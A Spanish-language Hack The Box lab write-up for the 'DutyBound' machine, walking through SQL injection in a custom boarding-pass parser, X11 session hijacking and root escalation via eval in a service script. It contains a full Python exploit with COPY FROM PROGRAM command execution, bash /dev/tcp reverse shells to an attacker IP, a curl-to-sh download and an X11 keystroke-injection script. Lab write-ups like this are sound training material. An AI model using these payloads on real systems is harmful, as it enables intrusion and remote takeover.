XUT_ / MACHINES / HTB

0111

DutyBound

HTBMACHINERETIREDMEDIUMTEMPORADA 12
BCBPCommand ExecutionCommand InjectionCustom Binary ParserDatabaseEnumerationHTTPJSONLinuxPath Unit HijackPivotingPrivilege EscalationProtocol Reverse EngineeringPythonPython ScriptingRCEReverse ShellService AbuseSource Code AnalysisSQL InjectionSynthetic Input InjectionUnix SocketWebWeb EnumerationX11

Introduction

Resumen

En la máquina comenzamos con una página web. Después de una investigación general, llegamos hasta un endpoint que nos llama la atención: /verify. Este recoge información de un JSON. Es por esto que se convierte en el candidato principal, pues del otro lado tiene que haber un parser. Después de una investigación conseguimos la ejecución de comandos y con ello la primera shell.

Una vez dentro de la primera shell, tenemos que escalar hacia dutyfree-kiosk, lo que conseguimos aprovechándonos de una sesión gráfica activa bajo este usuario delatada gracias al socket X11. Aprovechándonos de esta sesión conseguimos acceso a la shell de este usuario, desde donde podemos leer user.txt.

Una vez allí toca escalar privilegios. Listando servicios encontramos uno que ejecuta como root un script que permite la inyección de comandos mediante un archivo que es escribible por el grupo pos-ops, además de por root, consiguiendo así acceso total al sistema.


Introduction

Getting the Flags

Reconocimiento Inicial

Comenzamos escaneando los puertos abiertos.

Getting the Flags

Ahora vamos a analizar estos puertos más a fondo.

Getting the Flags

Parece que tiene otro nombre, lo metemos en el /etc/hosts y continuamos. Vamos a ver los posibles directorios de las webs.

Getting the Flags

Vamos a ver cómo se ven las webs.

Getting the Flags

Ambas son iguales.


Profundización

Vamos ahora a profundizar en el funcionamiento de estas webs. Vamos a mirar los directorios que hemos encontrado.

  • /health Getting the Flags
  • /browse Getting the Flags
  • /cart Getting the Flags

Aquí podemos ver algo que no veíamos antes. Vamos a realizar un flujo completo en BurpSuite para comprobar cómo funciona por dentro.

Getting the Flags

Vamos a revisar app.js, porque en lo que vemos de peticiones no hemos encontrado nada.

Getting the Flags

Parece que se está pasando un JSON en formato raw, por lo que tendrá que haber un parser del otro lado. Puede que este sea personalizado específicamente para la aplicación, y que no se haya probado lo suficiente, por lo que se vuelve el candidato principal de nuestro análisis. Podemos capturar la petición, haciendo click en el botón de escanear el pase de abordaje:

Getting the Flags

Vamos a buscar con iteración el formato esperado.

Getting the Flags

La petición nos deja una respuesta con bastante verbose. Añadimos una M.

Getting the Flags

Parece que necesitamos al menos 60 caracteres. Pondremos M1 + 58 espacios.

Getting the Flags

Hemos conseguido pasar de errores de truncamiento al de contenido.

Getting the Flags

Como habla del item 6, metemos un valor hexadecimal válido en las últimas dos posiciones.

Getting the Flags

Ahora dice que necesitamos APELLIDO/NOMBRE. Pues lo hacemos, restando siempre del número de espacios escritos.

Getting the Flags

Después de un rato probando, encontramos la página OrcaScan, la cual nos permite descodificar códigos BCBP. Probando la que aparece por defecto en la página:

Getting the Flags

Porque claro, la cantidad de extra bytes no coincide con la especificada. Vamos a retocarlo.

Getting the Flags

Con esto parece que hemos sobrepasado los errores de parseo. Después de probar un poco más, conseguimos burlar la sintaxis SQL y que deje de darnos errores.

Getting the Flags


Explotación

SQLi - via Custom Parsing Logic

Ahora queda encontrar una vulnerabilidad SQLi:

Getting the Flags

Con esto y ayuda de la IA ya tenemos todo lo que necesitamos para preparar un exploit.

python
#!/usr/bin/env python3
import argparse, json, re, sys, time, socket, threading

try:
    import requests, urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
    sys.exit("Run: pip install requests urllib3")

Q = "'"

# Conditional context header that bypassed logic rules in your setup
COND_HEAD = ">50B0WW6275BBA 03125"

class Exploit:
    def __init__(self, base="https://dutybound.htb", cookie=None, verbose=True):
        self.base = base.rstrip("/")
        self.url = self.base + "/checkout/boarding-pass/verify"
        self.v = verbose
        self.s = requests.Session()
        self.s.verify = False
        self.s.headers["Content-Type"] = "application/json"
        
        # Inject the active session cookie to preserve the backend checkout session context
        if cookie:
            self.s.headers["Cookie"] = cookie if cookie.startswith("session=") else "session=" + cookie

    def log(self, *a):
        if self.v:
            print(*a, flush=True)

    # Automatically construct the compliant barcode payload with our arbitrary payload injection string
    def build(self, free=""):
        # Explicit 58-byte fixed structure alignment validated by your target environment
        mand = "M1DESMARAIS/LUC       EABC123 HTBFRABA 0834 226F001A0001 5"
        assert len(mand) == 58, f"Incorrect structure alignment length for mandatory segment: {len(mand)}"
        
        cond = COND_HEAD + free
        # Resolves exact hex width of conditional data elements and packs it cleanly into Item 6
        return mand + ("%02X" % (len(cond) & 0xFF)) + cond

    def verify(self, free="", timeout=20):
        payload = {"raw": self.build(free)}
        r = self.s.post(self.url, json=payload, timeout=timeout)
        try:
            return r.status_code, r.json()
        except ValueError:
            return r.status_code, r.text

    # Error-based data extraction leveraging strict type casting violations (CAST as int)
    def leak(self, text_expr):
        # Tilde character wrapper bounds the database error response stream for reliable regex capture
        payload = Q + "||CAST((chr(126)||(" + text_expr + ")||chr(126)) AS int)||" + Q
        _, j = self.verify(payload)
        detail = j.get("detail", "") if isinstance(j, dict) else str(j)
        m = re.search(r'integer:\s*"~(.*)~"', detail, re.S)
        return m.group(1) if m else None

    # Stacked statement query execution strategy tracking stdout to an volatile database sink
    def run(self, cmd, capture=True, timeout=30):
        import random, base64
        t = "pwn_%06x" % random.randrange(1 << 24)
        
        # Base64 transformation protects syntax strings inside operational system command shells
        b64 = base64.b64encode(cmd.encode()).decode()
        prog = 'bash -c "echo ' + b64 + ' | base64 -d | bash 2>&1; true"'
        
        stmts = ["CREATE TABLE " + t + "(o text)",
                 "COPY " + t + " FROM PROGRAM $$" + prog + "$$"]
        
        # Gracefully break the backend query construction string, insert statements, and open safe balancing wrapper
        free = "AAAAAA" + Q + "); " + "; ".join(stmts) + "; SELECT(" + Q
        
        try:
            self.verify(free, timeout=timeout)
        except requests.exceptions.ReadTimeout:
            return None   # Expected threshold handling during persistent processes
            
        if capture:
            time.sleep(0.5)
            res = self.leak("SELECT string_agg(o, chr(10)) FROM " + t)
            # Remove structural footprints from the remote instance
            self.verify("AAAAAA" + Q + "); DROP TABLE " + t + "; SELECT(" + Q)
            return res
        return None

    def revshell(self, lhost, lport):
        payload = "bash -i >& /dev/tcp/%s/%s 0>&1" % (lhost, lport)
        cmd = "bash -c " + Q.join(["", payload, ""])
        free = ("AAAAAA" + Q + "); DROP TABLE IF EXISTS pwn; CREATE TABLE pwn(o text); "
                "COPY pwn FROM PROGRAM $$" + cmd + "$$; SELECT(" + Q)
        try:
            self.verify(free, timeout=8)
        except requests.exceptions.ReadTimeout:
            pass

def serve(lport):
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("0.0.0.0", lport))
    srv.listen(1)
    print("[*] Listening locally on 0.0.0.0:%d ..." % lport, flush=True)
    conn, addr = srv.accept()
    print("[+] Inbound shell session established from %s:%d" % addr, flush=True)
    conn.sendall(b"export TERM=xterm; python3 -c 'import pty;pty.spawn(\"/bin/bash\")' 2>/dev/null || /bin/bash\n")
    import tty, termios
    old = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin)
        while True:
            r, _, _ = __import__("select").select([sys.stdin, conn], [], [])
            if conn in r:
                data = conn.recv(4096)
                if not data: break
                sys.stdout.buffer.write(data); sys.stdout.buffer.flush()
            if sys.stdin in r:
                conn.sendall(sys.stdin.buffer.read1(4096))
    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old)
        conn.close(); srv.close()

def main():
    p = argparse.ArgumentParser(description="Custom Exploit Solution for DutyBound")
    p.add_argument("--target", default="https://dutybound.htb", help="Base targeted application path")
    p.add_argument("--cookie", default="eyJjYXJ0Ijp7IkNORi1NTlQtMTAwIjoxfSwiY2FydF9pZCI6ImNfYzAxY2YzZDliYyJ9.at9bmw.nUV-0e_RnENy8-zNPjVIkrFGdvg", help="Valid active authentication cookie")
    p.add_argument("--cmd", help="Arbitrary OS statement string to evaluate synchronously")
    p.add_argument("--lhost", help="Local receiver interface configuration IP address")
    p.add_argument("--lport", type=int, default=9001, help="Local connection callback listening port")
    p.add_argument("--listen", action="store_true", help="Instantiate the interaction channel engine locally inside the thread runtime")
    args = p.parse_args()

    x = Exploit(args.target, cookie=args.cookie)

    x.log("[*] Verifying 'Duty-Free' authorization business logic bypass...")
    sc, j = x.verify()
    if not (isinstance(j, dict) and "eligibility_token" in j):
        sys.exit("[-] Verification dropped or current cart session context timed out. HTTP status code: %s" % sc)
    x.log("[+] Logic bypass validated successfully. Valid state token generated.")

    x.log("[*] Running SQL injection extraction validation via functional error channels...")
    db_user = x.leak("SELECT current_user")
    if not db_user:
        sys.exit("[-] Extraction failure. The database processing context failed to filter information through the CAST method.")
    x.log(f"[+] SQLi parameter reflection confirmed. Current internal engine active role: {db_user}")

    if args.cmd:
        x.log(f"[*] Dispatching application statement request: {args.cmd}")
        out = x.run(args.cmd)
        print("-" * 40 + "\n" + (out if out is not None else "(No output received)") + "\n" + "-" * 40)
        return

    if args.lhost:
        if args.listen:
            threading.Thread(target=serve, args=(args.lport,), daemon=True).start()
            time.sleep(0.5)
        else:
            x.log(f"[*] Prepare operational system connection listener on another terminal instance: nc -lvnp {args.lport}")
        
        x.log(f"[*] Sending transmission callback payload targeting connection vector {args.lhost}:{args.lport}...")
        x.revshell(args.lhost, args.lport)
        return

    # Fallback status check operation
    x.log(f"[+] Core functional command environment probe ('id'): {x.run('id')}")

if __name__ == "__main__":
    main()

Con el script podemos comprobar la vulnerabilidad, y con la flag --cmd ejecutar un comando para obtener una reverse shell.

Getting the Flags

Getting the Flags

Ahora intentamos leer la user.txt, pero no está, seguramente tengamos que pivotar hacia el usuario dutyfree-kiosk. Después de agotar las vías convencionales de escalada/pivotaje, ejecutamos linpeas.sh.

bash
curl http://10.10.17.136:8000/linpeas.sh | sh

No vemos nada que pueda ayudarnos, por lo que vamos a listar el sistema de ficheros más a fondo.

Command Injection on Graphic Session - via X11 Socket

En /tmp vemos el socket X11 abierto. Este es el socket que dibuja ventanas, captura inputs del teclado y rastrea al ratón en una pantalla de Linux. Usa un modelo servidor-cliente. Además, podemos observar la serverauth.XXXXXX que es propiedad de dutyfree-kiosk. Esto es un token autogenerado cuando el usuario inicia sesión gráfica.

Getting the Flags

Debido a la naturaleza de este socket, podemos mandar comandos de teclas para ejecutar acciones en la terminal gráfica. Vamos a hacer una captura de pantalla.

Getting the Flags

Ahora nos la descargamos y la abrimos.

Getting the Flags

Vale, vamos a probar a abrir una terminar y volvemos a hacer una captura de pantalla.

Getting the Flags

Para abrir la terminal:

bash
export DISPLAY=:0
python3 -c "import Xlib.display; from Xlib.ext.xtest import fake_input; from Xlib import X, XK; import time; d = Xlib.display.Display(); ctrl = d.keysym_to_keycode(XK.string_to_keysym('Control_L')); alt = d.keysym_to_keycode(XK.string_to_keysym('Alt_L')); t_key = d.keysym_to_keycode(XK.string_to_keysym('t')); fake_input(d, X.KeyPress, ctrl); fake_input(d, X.KeyPress, alt); fake_input(d, X.KeyPress, t_key); d.sync(); time.sleep(0.1); fake_input(d, X.KeyRelease, t_key); fake_input(d, X.KeyRelease, alt); fake_input(d, X.KeyRelease, ctrl); d.sync()"

Ahora la descargamos y la abrimos.

Getting the Flags

Después de probar un par de cosas nos damos cuenta de que los comandos no interpretan espacios, puntos, etc. Por lo que desarrollamos el siguiente exploit:

python
import sys, time
from Xlib import X, XK, display
from Xlib.ext import xtest

d = display.Display(":0")

SPECIAL = {
    ' ': 'space', '.': 'period', ',': 'comma', '/': 'slash',
    '-': 'minus', '_': 'underscore', '=': 'equal', '+': 'plus',
    ':': 'colon', ';': 'semicolon', "'": 'apostrophe', '"': 'quotedbl',
    '<': 'less', '>': 'greater', '(': 'parenleft', ')': 'parenright',
    '[': 'bracketleft', ']': 'bracketright', '{': 'braceleft', '}': 'braceright',
    '!': 'exclam', '@': 'at', '#': 'numbersign', '$': 'dollar',
    '%': 'percent', '^': 'asciicircum', '&': 'ampersand', '*': 'asterisk',
    '\\': 'backslash', '|': 'bar', '~': 'asciitilde', '`': 'grave',
    '?': 'question',
}

def lookup(ch):
    if ch in SPECIAL:
        return XK.string_to_keysym(SPECIAL[ch])
    return XK.string_to_keysym(ch)

def key(keysym, shift=False):
    code = d.keysym_to_keycode(keysym)
    sc = d.keysym_to_keycode(XK.XK_Shift_L)
    if shift:
        xtest.fake_input(d, X.KeyPress, sc)
    xtest.fake_input(d, X.KeyPress, code)
    d.sync()
    time.sleep(0.03)
    xtest.fake_input(d, X.KeyRelease, code)
    if shift:
        xtest.fake_input(d, X.KeyRelease, sc)
    d.sync()
    time.sleep(0.03)

SHIFT_SPECIAL = set('!@#$%^&*()_+{}|:"<>?~')

def type_text(text):
    for ch in text:
        if ch == '\n':
            key(XK.XK_Return)
            continue
        ks = lookup(ch)
        if ks == 0:
            print("WARN: no keysym for", repr(ch), file=sys.stderr)
            continue
        need_shift = ch.isupper() or ch in SHIFT_SPECIAL
        key(ks, shift=need_shift)

cmd = sys.argv[1] if len(sys.argv) > 1 else "id\n"
type_text(cmd)

Lo ejecutamos.

Getting the Flags

CAUTION

Ten en cuenta que en este script hay que utilizar un \n al final para simular el Enter.

Getting the Flags

Ahora toca escalar.


Escalada de Privilegios

Root Access - via Input Unsanitization on Custom Service

Durante la enumeración anterior, encontramos un servicio interesante que se ejecutaba como root, en el que el grupo pos-ops podía hacer ciertas cosas.

Getting the Flags

El servicio en cuestión era:

Getting the Flags

Ahora ya somos parte del grupo pos-ops y hay un archivo .csv que es modificable por nosotros. Vamos a leer el script de bash.

Getting the Flags

El comando:

bash
eval "${tax_class}=${duty_pct}"

Le dice al script que coja el trozo de código y lo ejecute. El desarrollador intentó securizarlo, pero sólo comprobó que los números fuesen números, y dejó totalmente desprotegido el texto:

bash
if ! [[ "$duty_pct" =~ ^[0-9]+$ && "$vat_pct" =~ ^[0-9]+$ ]]; then
        echo "apply-duty-rates: line $lineno: rate must be numeric" >&2
        exit 1
    fi

Como tenemos permiso de escritura sobre el .csv, podemos llegar a ejecutar comandos, como el siguiente:

bash
echo -e "SPIRITS,45,20\nWINE,25,20\nBEER,25,20\nSNACKS,20,20\nCONFECTIONERY,20,20\nbash -c 'bash -i >& /dev/tcp/10.10.17.136/4444 0>&1' #,1,1" > /opt/vrs/data/duty-rates.csv
CAUTION

El primer intento que hice falló por no usar # para comentar el resto del script.

Getting the Flags

Ahora en la terminal de escucha:

Getting the Flags


Conclusión

Una máquina bastante sencilla en términos generales. Sobre todo la escalada de privilegios. Lo más difícil es darse cuenta del socket X11 para poder ejecutar comandos en una sesión gráfica. La parte del parseo del endpoint /verify tampoco es especialmente intuitivo.

En esta máquina hemos trabajado:

  • SQLi
  • Parseo de formato BCBP
  • Socket leverage
  • Python scripting
  • Análisis de scripts de bash y servicios

Una máquina divertida en general.

SUCCESS

¡Hemos conseguido ambas flags!